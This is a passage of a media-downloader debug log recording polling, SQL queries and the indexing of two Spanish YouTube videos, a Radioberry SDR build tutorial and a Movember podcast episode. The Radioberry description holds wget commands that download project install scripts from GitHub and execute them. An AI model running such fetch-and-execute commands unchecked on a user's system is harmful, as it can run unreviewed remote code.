(((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1264] 22:03:45.137 [debug] Current batch of media processed. Will check again in 1000ms 22:03:45.182 [debug] Current batch of media processed. Will check again in 1000ms 22:03:46.137 [debug] Current batch of media processed. Will check again in 1000ms 22:03:46.183 [debug] Current batch of media processed. Will check again in 1000ms 22:03:47.138 [debug] Current batch of media processed. Will check again in 1000ms 22:03:47.184 [debug] Current batch of media processed. Will check again in 1000ms 22:03:48.139 [debug] Current batch of media processed. Will check again in 1000ms 22:03:48.185 [debug] Current batch of media processed. Will check again in 1000ms 22:03:49.140 [debug] Current batch of media processed. Will check again in 1000ms 22:03:49.186 [debug] Current batch of media processed. Will check again in 1000ms 22:03:50.141 [debug] Current batch of media processed. Will check again in 1000ms 22:03:50.187 [debug] Current batch of media processed. Will check again in 1000ms 22:03:51.113 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:03:51.142 [debug] Current batch of media processed. Will check again in 1000ms 22:03:51.188 [debug] Current batch of media processed. Will check again in 1000ms 22:03:52.143 [debug] Current batch of media processed. Will check again in 1000ms 22:03:52.189 [debug] Current batch of media processed. Will check again in 1000ms 22:03:53.144 [debug] Current batch of media processed. Will check again in 1000ms 22:03:53.190 [debug] Current batch of media processed. Will check again in 1000ms 22:03:54.145 [debug] Current batch of media processed. Will check again in 1000ms 22:03:54.191 [debug] Current batch of media processed. Will check again in 1000ms 22:03:55.146 [debug] Current batch of media processed. Will check again in 1000ms 22:03:55.192 [debug] Current batch of media processed. Will check again in 1000ms 22:03:56.147 [debug] Current batch of media processed. Will check again in 1000ms 22:03:56.193 [debug] Current batch of media processed. Will check again in 1000ms 22:03:57.148 [debug] Current batch of media processed. Will check again in 1000ms 22:03:57.194 [debug] Current batch of media processed. Will check again in 1000ms 22:03:58.149 [debug] Current batch of media processed. Will check again in 1000ms 22:03:58.195 [debug] Current batch of media processed. Will check again in 1000ms 22:03:59.150 [debug] Current batch of media processed. Will check again in 1000ms 22:03:59.196 [debug] Current batch of media processed. Will check again in 1000ms 22:04:00.079 [info] {"source":"oban","duration":217,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:04:00.151 [debug] Current batch of media processed. Will check again in 1000ms 22:04:00.197 [debug] Current batch of media processed. Will check again in 1000ms 22:04:01.152 [debug] Current batch of media processed. Will check again in 1000ms 22:04:01.198 [debug] Current batch of media processed. Will check again in 1000ms 22:04:02.153 [debug] Current batch of media processed. Will check again in 1000ms 22:04:02.199 [debug] Current batch of media processed. Will check again in 1000ms 22:04:03.154 [debug] Current batch of media processed. Will check again in 1000ms 22:04:03.200 [debug] Current batch of media processed. Will check again in 1000ms 22:04:04.155 [debug] Current batch of media processed. Will check again in 1000ms 22:04:04.201 [debug] Current batch of media processed. Will check again in 1000ms 22:04:05.156 [debug] Current batch of media processed. Will check again in 1000ms 22:04:05.202 [debug] Current batch of media processed. Will check again in 1000ms 22:04:06.157 [debug] Current batch of media processed. Will check again in 1000ms 22:04:06.203 [debug] Current batch of media processed. Will check again in 1000ms 22:04:07.158 [debug] Current batch of media processed. Will check again in 1000ms 22:04:07.204 [debug] Current batch of media processed. Will check again in 1000ms 22:04:08.159 [debug] Current batch of media processed. Will check again in 1000ms 22:04:08.205 [debug] Current batch of media processed. Will check again in 1000ms 22:04:09.160 [debug] Current batch of media processed. Will check again in 1000ms 22:04:09.206 [debug] Current batch of media processed. Will check again in 1000ms 22:04:10.161 [debug] Current batch of media processed. Will check again in 1000ms 22:04:10.207 [debug] Current batch of media processed. Will check again in 1000ms 22:04:11.162 [debug] Current batch of media processed. Will check again in 1000ms 22:04:11.208 [debug] Current batch of media processed. Will check again in 1000ms 22:04:12.163 [debug] Current batch of media processed. Will check again in 1000ms 22:04:12.209 [debug] Current batch of media processed. Will check again in 1000ms 22:04:13.164 [debug] Current batch of media processed. Will check again in 1000ms 22:04:13.210 [debug] Current batch of media processed. Will check again in 1000ms 22:04:14.165 [debug] Current batch of media processed. Will check again in 1000ms 22:04:14.211 [debug] Current batch of media processed. Will check again in 1000ms 22:04:15.166 [debug] Current batch of media processed. Will check again in 1000ms 22:04:15.212 [debug] Current batch of media processed. Will check again in 1000ms 22:04:16.167 [debug] Current batch of media processed. Will check again in 1000ms 22:04:16.213 [debug] Current batch of media processed. Will check again in 1000ms 22:04:17.168 [debug] Current batch of media processed. Will check again in 1000ms 22:04:17.214 [debug] Current batch of media processed. Will check again in 1000ms 22:04:18.169 [debug] Current batch of media processed. Will check again in 1000ms 22:04:18.215 [debug] Current batch of media processed. Will check again in 1000ms 22:04:19.170 [debug] Current batch of media processed. Will check again in 1000ms 22:04:19.216 [debug] Current batch of media processed. Will check again in 1000ms 22:04:20.171 [debug] Current batch of media processed. Will check again in 1000ms 22:04:20.217 [debug] Current batch of media processed. Will check again in 1000ms 22:04:21.114 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:21.172 [debug] Current batch of media processed. Will check again in 1000ms 22:04:21.218 [debug] Current batch of media processed. Will check again in 1000ms 22:04:22.173 [debug] Current batch of media processed. Will check again in 1000ms 22:04:22.219 [debug] Current batch of media processed. Will check again in 1000ms 22:04:23.174 [debug] Current batch of media processed. Will check again in 1000ms 22:04:23.220 [debug] Current batch of media processed. Will check again in 1000ms 22:04:24.175 [debug] Current batch of media processed. Will check again in 1000ms 22:04:24.221 [debug] Current batch of media processed. Will check again in 1000ms 22:04:25.176 [debug] Current batch of media processed. Will check again in 1000ms 22:04:25.222 [debug] Current batch of media processed. Will check again in 1000ms 22:04:26.177 [debug] Current batch of media processed. Will check again in 1000ms 22:04:26.223 [debug] Current batch of media processed. Will check again in 1000ms 22:04:27.178 [debug] Current batch of media processed. Will check again in 1000ms 22:04:27.224 [debug] Current batch of media processed. Will check again in 1000ms 22:04:28.179 [debug] Current batch of media processed. Will check again in 1000ms 22:04:28.225 [debug] Current batch of media processed. Will check again in 1000ms 22:04:29.180 [debug] Current batch of media processed. Will check again in 1000ms 22:04:29.226 [debug] Current batch of media processed. Will check again in 1000ms 22:04:30.181 [debug] Current batch of media processed. Will check again in 1000ms 22:04:30.227 [debug] Current batch of media processed. Will check again in 1000ms 22:04:31.182 [debug] Current batch of media processed. Will check again in 1000ms 22:04:31.228 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como montar y hacer la configuracion basica de la tarjeta Radioberry para la Raspberry PI 4.\n\nEnlace compra aliexpress (hay otros muchos, lo mejor es comparar):\n\nhttps://es.aliexpress.com/item/1005008119919417.html\n\nSoftware creacion instalacion:\nhttps://www.raspberrypi.com/software/\n\nUna vez instalado hay que montar el soft para la radioberry:\n\nInstrucciones detalladas aqui:\n\nhttps://github.com/pa3gsb/Radioberry-2.x/releases/tag/radioberry\n\ncd /tmp\nwget https://raw.githubusercontent.com/pa3gsb/Radioberry-2.x/master/SBC/rpi-4/releases/dev/radioberry_install.sh\nsudo chmod +x radioberry_install.sh\n./radioberry_install.sh\n\nInstalacion de pihpsdr (sdr en la pantalla de la raspberry)\n\nhttps://github.com/pa3gsb/Radioberry-2.x/wiki/Radioberry---PIHPSDR\n\nwget https://raw.githubusercontent.com/pa3gsb/Radioberry-2.x/master/SBC/rpi-4/releases/dev/pihpsdr_install.sh\nsudo chmod a+x pihpsdr_install.sh\n./pihpsdr_install\n\nPrimero instalar wdsd y despues pihpsdr.\n\n\n#radioberry #raspberrypi #radioaficionados #hamradio #hermes #sdr #pa3gsb\n\n\n------------------- Contenido del video\n00:00 - Presentación\n02:54 - Intro Canal\n03:12 - ¿Que es la Radioberry?\n07:35 - Raspberry Pi 4B\n09:22 - Cyclone 10 10CL016 o 10CL025\n10:09 - Cargando Linux en la Raspberry Pi\n13:48 - Primer arranque Raspberry PI 4B\n17:12 - Instalando software radioberry\n24:33 - Instalacion pihdsdr\n27:40 - Arrancando pihdsdr\n37:00 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2410, "filename" => "/downloads/music/ea3grn/167 - MONTANDO LA RADIOBERRY UNA EMISORA HF PARECIDA AL HERMES LITE SDR.m4a", "id" => "4RFIR_kEb4c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=4RFIR_kEb4c", "playlist_index" => 13, "timestamp" => 1752768007, "title" => "167 - MONTANDO LA RADIOBERRY UNA EMISORA HF PARECIDA AL HERMES LITE SDR", "upload_date" => "20250717"} 22:04:31.229 [debug] QUERY OK source="sources" db=0.6ms idle=496.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:04:31.230 [debug] QUERY OK source="sources" db=0.4ms idle=497.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:04:31.231 [debug] QUERY OK source="media_items" db=0.7ms idle=497.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 16:00:07Z], 3] 22:04:31.233 [debug] QUERY OK source="media_items" db=1.4ms idle=498.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como montar y hacer la configuracion basica de la tarjeta Radioberry para la Raspberry PI 4.\n\nEnlace compra aliexpress (hay otros muchos, lo mejor es comparar):\n\nhttps://es.aliexpress.com/item/1005008119919417.html\n\nSoftware creacion instalacion:\nhttps://www.raspberrypi.com/software/\n\nUna vez instalado hay que montar el soft para la radioberry:\n\nInstrucciones detalladas aqui:\n\nhttps://github.com/pa3gsb/Radioberry-2.x/releases/tag/radioberry\n\ncd /tmp\nwget https://raw.githubusercontent.com/pa3gsb/Radioberry-2.x/master/SBC/rpi-4/releases/dev/radioberry_install.sh\nsudo chmod +x radioberry_install.sh\n./radioberry_install.sh\n\nInstalacion de pihpsdr (sdr en la pantalla de la raspberry)\n\nhttps://github.com/pa3gsb/Radioberry-2.x/wiki/Radioberry---PIHPSDR\n\nwget https://raw.githubusercontent.com/pa3gsb/Radioberry-2.x/master/SBC/rpi-4/releases/dev/pihpsdr_install.sh\nsudo chmod a+x pihpsdr_install.sh\n./pihpsdr_install\n\nPrimero instalar wdsd y despues pihpsdr.\n\n\n#radioberry #raspberrypi #radioaficionados #hamradio #hermes #sdr #pa3gsb\n\n\n------------------- Contenido del video\n00:00 - Presentación\n02:54 - Intro Canal\n03:12 - ¿Que es la Radioberry?\n07:35 - Raspberry Pi 4B\n09:22 - Cyclone 10 10CL016 o 10CL025\n10:09 - Cargando Linux en la Raspberry Pi\n13:48 - Primer arranque Raspberry PI 4B\n17:12 - Instalando software radioberry\n24:33 - Instalacion pihdsdr\n27:40 - Arrancando pihdsdr\n37:00 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "167 - MONTANDO LA RADIOBERRY UNA EMISORA HF PARECIDA AL HERMES LITE SDR", "14426d5d-16ed-4cc5-9135-edaa6f02f272", 2410, false, "4RFIR_kEb4c", "https://www.youtube.com/watch?v=4RFIR_kEb4c", 13, "/downloads/music/ea3grn/167 - MONTANDO LA RADIOBERRY UNA EMISORA HF PARECIDA AL HERMES LITE SDR.m4a", false, false, false, 3, [], 98, ~U[2025-07-17 16:00:07Z], ~U[2026-02-07 21:04:31Z], ~U[2026-02-07 21:04:31Z], "Como montar y hacer la configuracion basica de la tarjeta Radioberry para la Raspberry PI 4.\n\nEnlace compra aliexpress (hay otros muchos, lo mejor es comparar):\n\nhttps://es.aliexpress.com/item/1005008119919417.html\n\nSoftware creacion instalacion:\nhttps://www.raspberrypi.com/software/\n\nUna vez instalado hay que montar el soft para la radioberry:\n\nInstrucciones detalladas aqui:\n\nhttps://github.com/pa3gsb/Radioberry-2.x/releases/tag/radioberry\n\ncd /tmp\nwget https://raw.githubusercontent.com/pa3gsb/Radioberry-2.x/master/SBC/rpi-4/releases/dev/radioberry_install.sh\nsudo chmod +x radioberry_install.sh\n./radioberry_install.sh\n\nInstalacion de pihpsdr (sdr en la pantalla de la raspberry)\n\nhttps://github.com/pa3gsb/Radioberry-2.x/wiki/Radioberry---PIHPSDR\n\nwget https://raw.githubusercontent.com/pa3gsb/Radioberry-2.x/master/SBC/rpi-4/releases/dev/pihpsdr_install.sh\nsudo chmod a+x pihpsdr_install.sh\n./pihpsdr_install\n\nPrimero instalar wdsd y despues pihpsdr.\n\n\n#radioberry #raspberrypi #radioaficionados #hamradio #hermes #sdr #pa3gsb\n\n\n------------------- Contenido del video\n00:00 - Presentación\n02:54 - Intro Canal\n03:12 - ¿Que es la Radioberry?\n07:35 - Raspberry Pi 4B\n09:22 - Cyclone 10 10CL016 o 10CL025\n10:09 - Cargando Linux en la Raspberry Pi\n13:48 - Primer arranque Raspberry PI 4B\n17:12 - Instalando software radioberry\n24:33 - Instalacion pihdsdr\n27:40 - Arrancando pihdsdr\n37:00 - Conclusiones\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "167 - MONTANDO LA RADIOBERRY UNA EMISORA HF PARECIDA AL HERMES LITE SDR", 2410, false, "4RFIR_kEb4c", "https://www.youtube.com/watch?v=4RFIR_kEb4c", "/downloads/music/ea3grn/167 - MONTANDO LA RADIOBERRY UNA EMISORA HF PARECIDA AL HERMES LITE SDR.m4a", false, 3, ~U[2025-07-17 16:00:07Z]] 22:04:31.234 [debug] QUERY OK source="sources" db=0.6ms idle=318.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:04:31.235 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:04:31.235 [debug] QUERY OK source="media_items" db=0.4ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1309] 22:04:31.236 [debug] Current batch of media processed. Will check again in 1000ms 22:04:32.183 [debug] Current batch of media processed. Will check again in 1000ms 22:04:32.236 [debug] Current batch of media processed. Will check again in 1000ms 22:04:33.184 [debug] Current batch of media processed. Will check again in 1000ms 22:04:33.237 [debug] Current batch of media processed. Will check again in 1000ms 22:04:34.185 [debug] Current batch of media processed. Will check again in 1000ms 22:04:34.238 [debug] Current batch of media processed. Will check again in 1000ms 22:04:35.186 [debug] Current batch of media processed. Will check again in 1000ms 22:04:35.239 [debug] Current batch of media processed. Will check again in 1000ms 22:04:36.187 [debug] Current batch of media processed. Will check again in 1000ms 22:04:36.240 [debug] Current batch of media processed. Will check again in 1000ms 22:04:37.188 [debug] Current batch of media processed. Will check again in 1000ms 22:04:37.241 [debug] Current batch of media processed. Will check again in 1000ms 22:04:38.189 [debug] Current batch of media processed. Will check again in 1000ms 22:04:38.242 [debug] Current batch of media processed. Will check again in 1000ms 22:04:39.190 [debug] Current batch of media processed. Will check again in 1000ms 22:04:39.243 [debug] Current batch of media processed. Will check again in 1000ms 22:04:40.191 [debug] Current batch of media processed. Will check again in 1000ms 22:04:40.244 [debug] Current batch of media processed. Will check again in 1000ms 22:04:41.192 [debug] Current batch of media processed. Will check again in 1000ms 22:04:41.245 [debug] Current batch of media processed. Will check again in 1000ms 22:04:42.193 [debug] Current batch of media processed. Will check again in 1000ms 22:04:42.246 [debug] Current batch of media processed. Will check again in 1000ms 22:04:43.194 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣7️⃣: Movember 🧔🏻\u200D♂️\n\nQuizás el capitulo mas serio que hemos grabado David García Martínez y yo. \n\nGracias a Carlos Herranz Hernandez por abrirnos los ojos.\n\nHoy hablamos de un movimiento relacionado con la salud masculina, el movimiento Movember. Como siempre lo vamos a hilar con nuestra querida genética y con nuestra querida IA. \n\nPero el objetivo de hoy es que lo conozcas y hables de este movimiento y de los temas de salud masculina ... quien sabe quizás una conversación con algún varón cercano tuyo... le ayude y le salves la vida... SI así de serio te lo digo. \n\nHay datos que son la leche, yo no los conocía y preparando el podcast me quede blanco.... \n\ny tu que opinas????\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Genetica #Movember #chatgpt #Biotecnologia #Genoma #cancer #health #medicina \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 687, "filename" => "/downloads/music/IA mí QUÉ/EP.37: MOVEMBER.m4a", "id" => "ObTePaJ-wuU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ObTePaJ-wuU", "playlist_index" => 13, "timestamp" => 1763106104, "title" => "EP.37: MOVEMBER", "upload_date" => "20251114"} 22:04:43.195 [debug] QUERY OK source="sources" db=0.5ms idle=462.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:04:43.196 [debug] QUERY OK source="sources" db=0.4ms idle=463.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:04:43.197 [debug] QUERY OK source="media_items" db=0.7ms idle=463.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-14 07:41:44Z], 2] 22:04:43.199 [debug] QUERY OK source="media_items" db=1.2ms idle=464.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣7️⃣: Movember 🧔🏻\u200D♂️\n\nQuizás el capitulo mas serio que hemos grabado David García Martínez y yo. \n\nGracias a Carlos Herranz Hernandez por abrirnos los ojos.\n\nHoy hablamos de un movimiento relacionado con la salud masculina, el movimiento Movember. Como siempre lo vamos a hilar con nuestra querida genética y con nuestra querida IA. \n\nPero el objetivo de hoy es que lo conozcas y hables de este movimiento y de los temas de salud masculina ... quien sabe quizás una conversación con algún varón cercano tuyo... le ayude y le salves la vida... SI así de serio te lo digo. \n\nHay datos que son la leche, yo no los conocía y preparando el podcast me quede blanco.... \n\ny tu que opinas????\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Genetica #Movember #chatgpt #Biotecnologia #Genoma #cancer #health #medicina \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.37: MOVEMBER", "d5064185-b687-4e25-953f-0994d9d97932", 687, false, "ObTePaJ-wuU", "https://www.youtube.com/watch?v=ObTePaJ-wuU", 13, "/downloads/music/IA mí QUÉ/EP.37: MOVEMBER.m4a", false, false, false, 2, [], 98, ~U[2025-11-14 07:41:44Z], ~U[2026-02-07 21:04:43Z], ~U[2026-02-07 21:04:43Z], "#IAMIQUE 👉🏼 Ep3️⃣7️⃣: Movember 🧔🏻\u200D♂️\n\nQuizás el capitulo mas serio que hemos grabado David García Martínez y yo. \n\nGracias a Carlos Herranz Hernandez por abrirnos los ojos.\n\nHoy hablamos de un movimiento relacionado con la salud masculina, el movimiento Movember. Como siempre lo vamos a hilar con nuestra querida genética y con nuestra querida IA. \n\nPero el objetivo de hoy es que lo conozcas y hables de este movimiento y de los temas de salud masculina ... quien sabe quizás una conversación con algún varón cercano tuyo... le ayude y le salves la vida... SI así de serio te lo digo. \n\nHay datos que son la leche, yo no los conocía y preparando el podcast me quede blanco.... \n\ny tu que opinas????\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #Origen #IAGen #GenAI #Genetica #Movember #chatgpt #Biotecnologia #Genoma #cancer #health #medicina \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.37: MOVEMBER", 687, false, "ObTePaJ-wuU", "https://www.youtube.com/watch?v=ObTePaJ-wuU", "/downloads/music/IA mí QUÉ/EP.37: MOVEMBER.m4a", false, 2, ~U[2025-11-14 07:41:44Z]] 22:04:43.199 [debug] QUERY OK source="sources" db=0.6ms idle=259.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:04:43.200 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:04:43.201 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1265] 22:04:43.201 [debug] Current batch of media processed. Will check again in 1000ms 22:04:43.247 [debug] Current batch of media processed. Will check again in 1000ms 22:04:44.202 [debug] Current batch of media processed. Will check again in 1000ms 22:04:44.248 [debug] Current batch of media processed. Will check again in 1000ms 22:04:45.203 [debug] Current batch of media processed. Will check again in 1000ms 